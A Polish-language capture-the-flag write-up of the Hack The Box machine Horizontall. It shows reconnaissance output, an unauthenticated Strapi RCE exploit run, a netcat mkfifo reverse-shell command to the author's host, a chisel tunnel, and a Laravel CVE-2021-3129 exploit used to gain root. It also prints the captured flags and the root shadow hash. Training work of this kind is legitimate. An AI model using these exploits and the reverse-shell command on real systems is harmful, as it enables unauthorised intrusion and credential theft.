Horizontall - 04.02.2022
NMap
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.10.11.105
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-12 13:22 CET
Warning: 10.10.11.105 giving up on port because retransmission cap hit (6).
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.053s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
1881/tcp filtered ibm-mqseries2
2719/tcp filtered scan-change
4321/tcp filtered rwhois
9962/tcp filtered unknown
18051/tcp filtered unknown
18054/tcp filtered unknown
24679/tcp filtered unknown
24965/tcp filtered unknown
29291/tcp filtered unknown
30648/tcp filtered unknown
34019/tcp filtered unknown
36738/tcp filtered unknown
38192/tcp filtered unknown
44503/tcp filtered unknown
47815/tcp filtered unknown
51521/tcp filtered unknown
52849/tcp filtered unknown
53575/tcp filtered unknown
63151/tcp filtered unknown
63315/tcp filtered unknown
64564/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
FeroxBuster
301 7l 13w 194c http://horizontall.htb/css
200 1l 35w 4286c http://horizontall.htb/favicon.ico
301 7l 13w 194c http://horizontall.htb/img
200 1l 43w 901c http://horizontall.htb/index.html
301 7l 13w 194c http://horizontall.htb/js
[####################] - 35s 18788/18788 0s found:5 errors:0
[####################] - 23s 4697/4697 196/s http://horizontall.htb
[####################] - 28s 4697/4697 163/s http://horizontall.htb/css
[####################] - 28s 4697/4697 163/s http://horizontall.htb/img
[####################] - 28s 4697/4697 167/s http://horizontall.htb/js
Strona główna
Ngix 1.14.0
Wykonałem głębszą enumerację i znalazłem subdomenę http://api-prod.horizontall.htb
.
W kodzie źródłowym nie ma nic ciekawego. Natomiast ciekawe rekordy wyrzucił FeroxBuster
200 16l 101w 854c http://api-prod.horizontall.htb/Admin
200 0l 0w 7001634c http://api-prod.horizontall.htb/admin/main.da91597e.chunk.js
200 223l 1051w 9230c http://api-prod.horizontall.htb/admin/runtime~main.d078dc17.js
200 16l 101w 854c http://api-prod.horizontall.htb/ADMIN
200 16l 101w 854c http://api-prod.horizontall.htb/admin
200 1l 7w 1150c http://api-prod.horizontall.htb/favicon.ico
200 19l 33w 413c http://api-prod.horizontall.htb/index.html
200 1l 21w 507c http://api-prod.horizontall.htb/reviews
200 3l 21w 121c http://api-prod.horizontall.htb/robots.txt
403 1l 1w 60c http://api-prod.horizontall.htb/users
200 19l 33w 413c http://api-prod.horizontall.htb/
403 1l 1w 60c http://api-prod.horizontall.htb/Users
200 1l 21w 507c http://api-prod.horizontall.htb/Reviews
200 16l 101w 854c http://api-prod.horizontall.htb/AdMin
200 16l 101w 854c http://api-prod.horizontall.htb/admiN
reviews:
robots.txt nie zawiera nic ciekawego. Pod admin
dostajemy panel logowania do Strapi
Tutaj kod źródłowy jest już ciekawszy.
<!doctype html>
<html lang="en">
<head>
<!-- The first thing in any HTML file should be the charset -->
<meta charset="utf-8">
<!-- Make the page mobile compatible -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="mobile-web-app-capable" content="yes">
<title>Strapi Admin</title>
</head>
<body>
<!-- The app hooks into this div -->
<div id="app"></div>
<!-- A lot of magic happens in this file. HtmlWebpackPlugin automatically includes all assets (e.g. bundle.js, main.css) with the correct HTML tags, which is why they are missing in this HTML file. Don't add any assets here! (Check out webpackconfig.js if you want to know more) -->
<script type="text/javascript" src="/admin/runtime~main.d078dc17.js"></script><script type="text/javascript" src="/admin/main.da91597e.chunk.js"></script></body>
</html>
Powyżej jest wspomniane o phpwebpackconfig.js
, ale szybkim sprawdzeniu nie ma takiego pliku. Natomiast sprawdziłem, że Strapi
generalnie ma taki plik, tylko nazywa się webpack.config.js
. Zawiera on m.in informacje o wersji Strapi
. Nie wiem czy to celowy zabieg czy nie, czy też może robię coś nie tak.
Searchsploit
┌──(kali㉿kali)-[~/htb/horizontall]
└─$ searchsploit strapi
------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------ ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated) | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
Nie mam innego punktu zaczepienia niż sprawdzić chociaż ostatni exploit. Pierwszy odpada, bo nie znam maila potrzebnego do działania exploitu.
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)
┌──(kali㉿kali)-[~/htb/horizontall]
└─$ python3 50239.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzODg2MzIwLCJleHAiOjE2NDY0NzgzMjB9.6dNeTvgIJZ-r-ABsotdJX1zNvvY-9mxaK0NPRs-p4QU
Super, admin@horizontall.htb:SuperStrongPassword1
Strapi v3.0.0-beta.17.4
Reverse shell
W naszym exploicie nie widać odpowiedzi na komendy, natomiast wykonuje on komendy, dowodem jest nasłuchiwanie pingów na mojej maszynie, pokazane poniżej
$> ping 10.10.14.224
Zatem możemy stworzyć połączenie
$> rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.224 9010 >/tmp/f
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
user.txt
9574577aa60e3a61978c0ad62bff2256
Privilege Escalation
Sprawdziłem maszynę skryptem Linpeas
, ale nie znalazłem na pierwszy rzut oka ciekawych scieżek. Dlatego spróbowałem również innym skryptem - Linux Exploit Suggester
, który wskazał jedną z podatności.
[+] [CVE-2018-18955] subuid_shell
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
Exposure: probable
Tags: [ ubuntu=18.04 ]{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
Comments: CONFIG_USER_NS needs to be enabled
Jeżeli jeżeli chodzi o distro, to faktycznie jest to Ubuntu 18.04
cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
strapi@horizontall:/tmp/p$
Dlatego postanowiłem spróbować tego exploita.
https://github.com/scheatkode/CVE-2018-18955
subuid_shell
jest priorytetem, dlatego jego zuploudowałem jako pierwszego. A poniżej wykonanie tego exploita
./subuid_shell
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 231072
[.] subgid: 231072
[~] done, mapped subordinate ids
[.] executing subshell
whoami
whoami
root
root@horizontall:/tmp/p#
:)
Okazało się, że jednak w ten sposób nie mogę dokonać eskalacji uprawnień. W teorii mam roota, ale wszystkie pliki mają właścicieli nouser
i nogroup
. Exploit nie działa, albo twórca tej maszyny sprawił, że ten exploit nie działa :)
Muszę znaleźć inny sposób.
Netstat
(netstat -punta || ss --ntpu) | grep "127.0" [144/144]
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1878/node /usr/bin/
Pod portem 1337
mamy API, pod 3306
jest MySQL a pod 8000
jest Laravel v8 (PHP v7.4.18). Nie znalazłem nic ciekawego pod kątem bezpośrednich exploitów dlatego stworzyłem połączenie poprzez chisel
.
Chisel
Nasłuchuję u mnie
chisel server --reverse -p 8001
Tworzę połączenie na maszynie HTB
./chisel.1 client 10.10.14.224:8001 R:7000:127.0.0.1:8000
W Laravelu pierwsze co warto sprawdzić to czy jest włączony tryb debugowania poprzez dodanie /profiles
do linku.
Jak widać w tym przypadku jest, mogę podejrzeć zatem dokładną wersje Laravela.
Po wpisaniu wersji PHP i Laravela w Google otrzymałem jako pierwszy wynik CVE-2021-3129
.
Coś jednak nie działo,znalazłem na Githubie innego exploita na tą podatność:
https://github.com/nth347/CVE-2021-3129_exploit
┌──(kali㉿kali)-[~/htb/horizontall/CVE-2021-3129_exploit]
└─$ ./exploit.py http://localhost:7000 Monolog/RCE1 "id"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared
Próba wyświetlenia flagi:
┌──(kali㉿kali)-[~/htb/horizontall/CVE-2021-3129_exploit]
└─$ ./exploit.py http://localhost:7000 Monolog/RCE1 "cat /root/root.txt"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
fee3519f7a12a76751d87c80ecdeb288
[i] Trying to clear logs
[+] Logs cleared
root.txt
fee3519f7a12a76751d87c80ecdeb288
/etc/shadow - root
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::